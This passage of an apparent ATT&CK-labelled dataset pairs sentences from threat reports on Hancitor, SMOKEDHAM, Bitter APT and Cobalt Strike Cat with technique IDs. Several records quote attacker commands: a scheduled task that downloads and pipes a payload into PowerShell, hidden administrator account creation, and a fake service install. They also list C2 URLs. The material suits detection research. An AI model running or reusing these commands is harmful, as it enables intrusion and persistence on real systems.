Monday, Tuesday, Thursday, Friday, and Saturday at 11:33 am local time.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"} {"sentence": "The PowerShell command contained the payload storage location and encryption keys.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"} {"sentence": "Encrypting communications using AES and RSA public key cryptography 5.", "labels": ["T1573.001"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"} {"sentence": "Like many other malware families we saw Hancitor become active again in early 2021 following the festive period.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "Word Dropper used by Hancitor On Tuesday 12 January, phishing emails with hyperlinks leading to Word documents reached users’ inboxes.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "When opened, the user sees a social engineering image telling them that they must click the “Enable editing” button to see the document’s contents.", "labels": ["T1204.002"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "The VBA code is distributed over several different modules inside the document and is executed by the Document.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "Figure 4 – VBA macro which runs rundll32.exe to load the malware.", "labels": ["T1027", "T1218.011"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "Figure 5 – Sections of the PE file (“W0rd.dll”).", "labels": ["T1027"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "The first four bytes at the beginning of the newly allocated memory indicate the length of the data that will be decrypted.", "labels": ["T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "The algorithm to decrypt the data is simple.", "labels": ["T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "A replication of this algorithm, written in Python, can be found in our GitHub repository.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "To make the new image runnable, several Windows API functions are resolved using GetProcAddress and directly patched into the memory of the loaded executable.", "labels": ["T1027", "T1106"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "It is important to note that the AddressOfEntryPoint in the optional header does not match the exported functions DllRegisterServer or DllUnregisterServer and it is necessary to run one of the exported functions to start the malware.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "First, the malware calls a function we named “getComputerInfo”.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "This function obtains the username, the computer name and the domain of infected system.", "labels": ["T1033", "T1082"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "The malware identifies the computer’s public IP address by making a HTTP GET request to “hxxp://api.ipify[.]org”, a free public IP address API.", "labels": ["T1071.001"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "Figure 11 – URL and build decryption function.", "labels": ["T1071.001", "T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "To execute the binary, Hancitor uses one of the following techniques: Create Process Create Thread Process Hollowing Thread Execution Hijacking Create Process If the method “Create Process” is chosen, then the malware writes the retrieved executable to disk into the temp folder and executes it using rundll32.exe with “start” as the argument for the entry function.", "labels": ["T1055", "T1218.011"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "Hancitor Word documents: 111a2dc96e082b86a79dd90ec307c977a21c7aee0ddb141d688a17bd65f3661d 40c3eb22a02601cf70a4ae08eeaa5805144386bc13882e5f110c133b1d0ede8e 678da85cecff2cdda8559281dfc8a89f87c44c6371cbda4de4bc9ea5cd2f5cf9 772c897ffdfb824b31d70ea360224714ab9bb83659bd431897cc74dd2defc2f3 080bade36015dd79925bab0975ac0f30f18424bdd1e7836d63c2dee350bdbd69 22043734ed3f774db7a88297286f6ecd56336d755cc19f1bd54f2a2ac58982cd 2ac3b573d70c40c5c0fafe4e5914c723f2322a1c9cd76d232447654604ff8b76 385425e94ed8ac21d7888550743b7a2b89afbeb51341713adb6da89cd63b5aff 3ffe9ef810d01e9f242558ba59e8c7483adb72e087132cb0fd1e55171c45690f 51dd023b55be138ac7cfe7379a55c0a2a46c01cd3b3f96a151b0a27ed9e12485 56f1795abf78f798a51b9224a5deb17aedd924629136832b526c93339f525e56 6cd76e8f33a945b51d20b909495bbc613f78151dbea6c3a7a3a235bfd2167cdf 7b013a271432cc9dea449ea9fcf727ed3caf7ce4cc6a9ba014b3dd880b5668dd 8bcf45c2de07f322b8efb959e3cef38fb9983fdb8b932c527321fd3db5e444c8 99b98b8c7033456ba7840ad99c65347a8026aee62bccbbac6d22ca4b0f5dfa1e a1ec1a483f549af7e6f26ffe8b2c2ef6ac8c8f0d99349350c1df5eaa327f1ed3 b1502cdbb5aeee57d0a5d38945c64855ba35c25d43a71bd72c3cf31665e5aa62 cab2a47456a2c51504a79ff24116a4db3800b099ec50d0ebea20c2c77739276d d6755718c70e20345c85d18c5411b67c99da5b2f8740d63221038c1d35ccc0b8 ed3fa9e193f75e97c02c48f5c7377ff7a76b827082fdbfb9d6803e1f7bd633ca Extracted OLE Object (DLLs): Ce2449b7f600b0317614419159e9364e1a76613ac0cb112c88be171638573049 0941090d3eb785dbf88fbfafffad34c4ab42877b279129616a455347883e5738 6caccc64a9db7cfce75076ad273d85d108f5b764fcbbb865fd27c91f86cccfad c5385df4db1e69b06cf36f4481365d1101679a5764d721e369ea1d5d4c4b6b2c 288fdf9c64da0251107df7f1c3283f328279ad581710a9cf71f67e53b0b1684d c3e06473c4c3d801c962e6c90ccbcab3d532fb5a6649077ea09cd989edf45eaf cdcd5ee8b80d3a3863e0c55d4af5384522144011b071d00c9c71ae009305f130 43690eaf47245d69f4bda877c562852e4a9715955c2160345cb6cc84b18ca907 00b2312dd63960434d09962ad3e3e7203374421b687658bd3c02f194b172bfe3 372da9447db4ca966a6a9fd45f12519637a562953a88b6d92fb26d3699c14799 878319795a84ebfe5122d6fc21d27b4b94b3c28ad66679f841dec28ccc05e801 82c9bc479ea92c1900422666792877e00256996ce2f931984115598ed2c26f23 edabef17fce2aaca61dbd17a57baf780cd82a2b0189b0cf3c5a7a3ca07e94a44 Unpacked Hancitor (without patched function addresses): 1c55c9e30e3e2a4837afd80e6fc75518494af379835f4b2a7f0eaf815d697951 419fda1fec9e44d7988ceeb9c5742a09198e6fa7f213c23b7c064e56cbd50b40 C2 URLs: hxxp://requirend[.]com/8/forum.php hxxp://spabyasiande[.]ru/8/forum.php hxxp://conlymorect[.]ru/8/forum.php hxxp://fruciand[.]com/8/forum.php hxxp://forticheire[.]ru/8/forum.php hxxp://nentrivend[.]ru/8/forum.php hxxp://cloolyepervir[.]com/8/forum.php hxxp://areentthrices[.]ru/8/forum.php hxxp://syleclisizame[.]ru/8/forum.php Build IDs: 1301_dsf7823 1101_jh372 2001_6tc3ers Malware download URLs: hxxp://anabolicsteroidsbuy[.]info/nedfr.exe The post Hancitor Infection Chain Analysis: An Examination of its Unpacking Routine and Execution Techniques appeared first on HP Wolf Security.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "Pivoting on the slightly modified, but benign, MSHTA.exe application in VirusTotal, Mandiant identified a second installer package with the MD5 hash, e9ed774517e129a170cdb856bd13e7e8 (SVStation_Win64-B1130.1.0.0.exe), from May 26, 2021, which also connects out the same URL as the Trojanized SmartPSS installer.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "Figure 2 shows an image of the download page used for SmartPSS software.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "At the time of writing, sdoc[.]xyz appeared to be active, but not returning the VBScript code.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "/fullpaths @'C:\\Users\\ [username]\\AppData\\Local\\Temp\\qnxfhfim\\qnxfhfim.cmdline' Mandiant was not able to recover this file at the time of writing; however, Mandiant was able to recover partial contents of the file. .../t", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "The Add-Type cmdlet can be used to define a new .NET class using an existing assembly or source code files or specifying source code inline or saved in a variable.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "In this case, the dropper uses SMOKEDHAM backdoor source code that is stored in a variable.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "The dropper uses the ConvertTo-SecureString cmdlet and an embedded key to decrypt the source code prior to executing the Add-Type cmdlet.", "labels": ["T1140"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "The dropper configures the backdoor with a C2 server address, RC4 encryption key, and sleep interval.", "labels": ["T1573.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "When the C2 server responds with a command to execute, it sets the UUID field to a unique value.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "The backdoor uses the Data field to send command output to its C2 server.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "The backdoor checks if the plaintext command data begins with one of the following keywords, shown in Table 1. Keyword Action delay Update its sleep interval screenshot Upload a screen capture to its C2 server via a subsequent HTTP POST request exit Terminate Table 1: Plaintext command data keywords If the plaintext command data does not begin with any of the keywords listed in Table 1, then SMOKEDHAM assumes the data contains a PowerShell command and attempts to execute it.", "labels": ["T1041", "T1071.001", "T1113"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "The backdoor uploads output generated by the PowerShell command to its C2 server via a subsequent HTTP POST request.", "labels": ["T1071.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "In addition to supporting the commands in Table 1, SMOKEDHAM continuously captures keystrokes.", "labels": ["T1056.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "net.exe user DefaultUser REDACTED /ADD net.exe localgroup Administrators DefaultUser /ADD reg.exe ADD 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList' /v", "labels": ["T1112"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "REG_DWORD /d 0 /f reg.exe ADD 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server' /v fSingleSessionPerUser /t", "labels": ["T1112"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\console.lnk Cobalt Strike Beacon The attacker used UltraVNC to download an in-memory dropper for Cobalt Strike to C:\\ProgramData\\Cisco Systems\\Cisco Jabber\\update.exe.", "labels": ["T1105"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "The attacker executed C:\\ProgramData\\Cisco Systems\\Cisco Jabber\\update.exe using Command Prompt.", "labels": ["T1059.003"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "CobaltStrike.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "[Recon Commands] (T1204) WINDOWS METHODOLOGY", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "[Registry Run Key - reg.exe] (T1547.001) WINDOWS METHODOLOGY", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "[User Created - Net Command] (T1136.001)", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "ToString(); condition: filesize < 1MB and all of them } rule Loader_Win_SMOKEDHAM { meta: author = \"Mandiant\" date_created = \"2021-06-10\" md5 = \"05d38c7e957092f7d0ebfc7bf1eb5365\" strings: $listedDLLs1 = \"System.Drawing.dll\" fullword $listedDLLs2 = \"System.Web.Extensions.dll\" fullword $listedDLLs3 = \"System.Windows.Forms.dll\" fullword $CSharpLang = {2d 4c 61 6e 67 75 61 67 65 20 43 53 68 61 72 70} // -Language CSharp $StringConversion = \"convertto-securestring\" nocase $SecureString1 = {5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 53 65 63 75 72 65 53 74 72 69 6e 67 54 6f 42 53 54 52} //[System.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "Registry Run Keys / Startup Folder T1547.004: Winlogon Helper DLL T1547.009:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "Ingress Tool Transfer T1219:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "Asymmetric Cryptography Lateral Movement T1021.004: SSH T1021.005: VNC Credential Access T1003.001:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "CISA leveraged the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK:registered:) and Pre-ATT&CK frameworks to characterize the TTPs used by Chinese MSS-affiliated actors.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Maintaining a rigorous patching cycle continues to be the best defense against the most frequently used attacks.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Technical DetailsThrough the operation of the National Cybersecurity Protection System (NCPS) and by fulfilling its mission as the national risk advisor, CISA has observed Chinese MSS-affiliated cyber threat actors operating from the People’s Republic of China using commercially available information sources and open-source exploitation tools to target U.S. Government agency networks.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "In most cases, cyber operations are successful because misconfigurations and immature patch management programs allow actors to plan and execute attacks using existing vulnerabilities and known exploits.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Widespread implementation of robust configuration and patch management programs would greatly increase network security.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "While cyber threat actors’ motivations and intents are often unknown, they often make their selections based on the target network’s security posture.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Shodan queries can also be customized to discover specific vulnerabilities on devices, which enables sophisticated cyber threat actors to use relatively unsophisticated techniques to execute opportunistic attacks on susceptible targets.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "CISA has observed Chinese MSS-affiliated actors using the techniques in table 1 to gather technical information to enable cyber operations against Federal Government networks (Technical Information Gathering [TA0015]).", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "The threat actors narrowed the attack vectors to relatively recent vulnerability disclosures with open-source exploits.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "This activity appeared to enable information gathering activities.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Table 2: Significant CVEs targeted by Chinese MSS-affiliated actors in the last 12 months Vulnerability Observations CVE-2020-5902:", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "T1346 Obtain/Re-use Payloads CISA has observed the threat actors use and reuse existing capabilities.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "It is mainly used for web application attacks, and it is configured in a client/server relationship.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Initial Access", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "[TA0006] techniques highlighted in table 8.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Actor’s carefully choose proxy tools depending on their intended use.", "labels": ["T1090"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Proxy CISA observed activity from Tor that has resulted in confirmed compromises of internet-facing Federal Government agency systems.", "labels": ["T1090", "T1190"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "MitigationsCISA asserts with high confidence that sophisticated cyber threat actors will continue to use open-source resources and tools to target networks with a low security posture.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "When sophisticated cyber threat actors conduct operations against soft targets, it can negatively impact critical infrastructure, federal, and state, local, tribal, territorial government networks, possibly resulting in loss of critical data or personally identifiable information.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Multiple vulnerabilities resolved in Pulse Connect Secure /", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "[9] CISA Alert AA20-107A: Continued Threat Actor Exploitation Post Pulse Secure VPN Patching [10] GitHub", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "The Beginner's Guide (VARONIS) Revisions September 14, 2020:", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "This activity appears to be a continuation of the tactics and campaign that Bitter APT have been using since at least 2021.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "Figure 2: Name crafted to appear as communication from an embassy The email is signed off with the name and details of an actual attaché of the Kyrgyz embassy in China.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "The email subject and body use terms and themes that would be familiar with the recipients in governmental and energy sectors, such as International Atomic Energy Agency (IAEA), China Institute of International Studies (CIIS), strategic alliances, and nuclear doctrines.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "We were not able to get further additional payloads from the command and control (C2) servers, but in some instances were able to get the file names of next stages from active C2s.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "The computer name and the username is also sent to the C2.", "labels": ["T1033", "T1041", "T1053.005", "T1082"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "Figure 5: Empty payloads served from different C2 servers This may allow the actor to examine the server logs of beaconing infected machines before deciding whether to swap out the empty file with an actual payload if the target looks promising enough, thus protecting the next stage of the attack.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "Hidden -command curl -o %", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "LOCALAPPDATA%\\pic.jpg https://coauthcn[.]com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\\pic.jpg|powershell;timeout 9;del %LOCALAPPDATA%\\pic.jpg\" /f", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "It is advised that entities in government, energy, and engineering especially those in the Asia-Pacific region should remain vigilant when receiving emails, especially those claiming to be from other diplomatic entities.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "eb7aebded5549f8b006e19052e0d03dc9095c75a800897ff14ef872f18c8650e (Email) cac239cf09a6a5bc1f9a3b29141336773c957d570212b97f73e13122fe032179 (Email) 8d2f6b0d7a6a06708593cc64d9187878ea9d2cc3ae9a657926aa2a8522b93f74 (Email) 33905e2db3775d2e8e75c61e678d193ac2bab5b5a89d798effbceb9ab202d799 (Email) 5c85194ade91736a12b1eeeb13baa0b0da88c5085ca0530c4f1d86342170b3bc (Email) Ef4fb1dc3d1ca5ea8a88cd94596722b93524f928d87dff0d451d44da4e9181f1 (Email) b2566755235c1df3371a7650d94339e839efaa85279656aa9ab4dc4f2d94bbfa (RAR) 33a20950e7f4b2191706ddf9089f1e91be1e5384cca00a57cf6b58056f70c96b (RAR) 7e7e90b076ef3ea4ef8ed4ef14fb599a2acb15d9ce00c78e5949186da1e355cf (RAR) 07504fcef717e6b74ed381e94eab5a9140171572b5572cda87b275e3873c8a88 (XLS) 06b4c1f46845cee123b2200324a3ebb7fdbea8e2c6ef4135e3f943bd546a2431 (CHM) ded0635c5ef9c3d63543abc36a69b1176875dba84ca005999986bd655da3a446 (CHM) Network qwavemediaservice[.]net mirzadihatti[.]com coauthcn[.]com Mitre ATT&CK TacticTechniqueIDDescriptionReconnaissanceEmail AddressesT1589.002The actor gathers target email addresses to target with spearphishing emailsInitial AccessSpearphishing AttachmentT1566.001Spearphishing is used to deliver RAR attachmentsExecutionPowerShellT1059.001Encoded PowerShell is used by CHM payloadExecutionExploitation for Client ExecutionT1203Microsoft Office exploits are used to execute codePersistenceScheduled TaskT1053.005Scheduled Tasks used for both execution and persistenceDefense EvasionMsiexecT1218.007Msiexec is used to launch next stage payloadsDefense", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "Some of these countries also voted to suspend Russia from the United Nations Human Rights Council (UNHRC) in early April 2022.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "Threat AnalysisAttack VectorsAs of May 26, 2022, we can not definitively determine the attack vector employed by ransomware operators and affiliates targeting LATAM government entities.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "Conti followed their claims of an attack on Costa Rica with an attack on Peru that affected the General Directorate of Intelligence (digimin[.]gob[.]pe) and Ministry of Economics and Finance (mef[.]gob[.]pe).Figure 3: Announcements of attacks on Costa Rican and Peruvian government entities by the Conti Gang (Source: Conti.News)ALPHV (BlackCat)On April 16, 2022, the ransomware gang ALPHV (BlackCat) leaked an unspecified amount of compromised data related to the Municipality of Quito, Ecuador (quito[.]gob[.]ec).", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "This information, if leveraged by an opportunistic threat actor, criminal, or nation-state, could prove to be damaging to Ecuadors national security.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "Figure 4: Announcements of an attack on the Municipality of Quito, Ecuador from the BlackCat Ransomware Group (Source: ALPHV)LockBit", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "This disclosure followed a previous claim on April 22, 2022 that LockBit 2.0 had compromised the network of the Secretary of State for Finance of Rio De Janeiro, Brazil (fazenda[.]rj[.]gov[.]br).", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "Additionally, also as of April 25, 2022, all of the information claimed to have been exfiltrated by the LockBit 2.0 ransomware gang is available to download for free on the public-facing LockBit 2.0 extortion website called LockBit 2.0 Leaked Data.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "Figure 6: Announcement of an attack on a Peruvian government entity by the BlackByte Ransomware Gang (Source: BlackByte Blog)Cybersecurity Hygiene and Trends in Latin AmericaAlthough most countries in LATAM have adopted a national cybersecurity strategy, there is still much work yet to be done in terms of improving the cyber capacity and security posture in both the private and public sectors; at the moment, only 3 LATAM countries (Brazil, the Dominican Republic, and Mexico) are members of the 30-plus-country ransomware task force.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "Supporting and encouraging younger individuals to seek an education and training within the cyber realm can drastically affect the skills shortage and improve public awareness on cyber threats; the region has been particularly affected by cybercrime and fraud during the pandemic.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "Implement YARA rules such as the ones found in Recorded Future Hunting Packages to identify malware via signature-based detection or SNORT rules for endpoint-based detections.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "This solution involves splitting the larger network into smaller network segments and can be accomplished through firewalls, virtual - local area networks, or other separation techniques.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "Once inside the network, the threat actors move laterally and install ransomware on target machines, often disabling backups and other protections.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "EclecticIQ analysts identified post-exploitation and reconnaissance tools on the server.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "[7] LaZagne: Recover stored passwords on a system [8] SharpCheckInfo: Situation awareness tool [9] HackBrowserData: Decrypting and exporting browser data [10] FRP: Reverse proxy tool", "labels": ["T1090", "T1140"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "EclecticIQ analysts mapped identified TTPs to each phase of the life cycle (Figure 2) - beginning with the threat actor´s infrastructure (156[.]251[.]172[.]194) and continuing with the different tools used by the actor to compromise systems and perform lateral movement.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Figure 2 – Targeted Attack Lifecycle of the threat actor.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "In some cases, the actor used a preconfigured (hard-coded) target lists, which is showing the intended victims.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "EclecticIQ analysts validated many of these targets as real and existing systems.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Figure 3 shows an example of a target list created by the attacker, which mainly contains Taiwanese government entities.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Figure 3 – Files inside the exposed infrastructure under the OneForAll file path.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Figure 4 – Completed reconnaissance and vulnerability scans.", "labels": ["T1190"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Based on evidence obtained from the bash history data, EclecticIQ researchers observed that the threat actor primarily focuses on four different known remote code execution (RCE) vulnerabilities during their operations:• CVE-2023-21839 Oracle WebLogic Server RCE", "labels": ["T1190"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "[14]• CVE-2020-2551 Oracle WebLogic RCE", "labels": ["T1190"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Establish Foothold by Modified Version of Cobalt Strike The threat actor utilized a modified version of Cobalt Strike 4.5, dubbed \"Cobalt Strike Cat\", to create a dedicated communication channel from the victim system and perform evasive post-exploitation steps.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Evasion techniques to specially bypass Anti-Virus solution “360 Total Security”, which is a Beijing, China-registered internet security company mostly used in Asia-Pacific region.2.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Option to use Google 2FA key during login to the command-and-control server as an attacker for further operational security.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "SONAS is an application for remote monitoring and control of Internet of Things (IoT) hardware devices.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Figure 9 shows the redacted victim DNS address, confirming that the web service was used by the Taiwanese government.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "These passwords would allow the threat actor to escalate privileges using valid accounts if the accounts were privileged .", "labels": ["T1078"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Malicious service installation is accomplished via the below command line argument: sc create WindowsUpdate binPath= C:\\Windows\\Temp\\svchost.exe start= auto obj= LocalSystem DisplayName= windowsupdate When this command is executed on remote victim device, it will install a fake Windows service called “windowsupdate”.", "labels": ["T1543.003", "T1569.002"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Figure 14 – Installation of malicious Windows service.", "labels": ["T1543.003"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Trough Reverse Proxy The threat actor 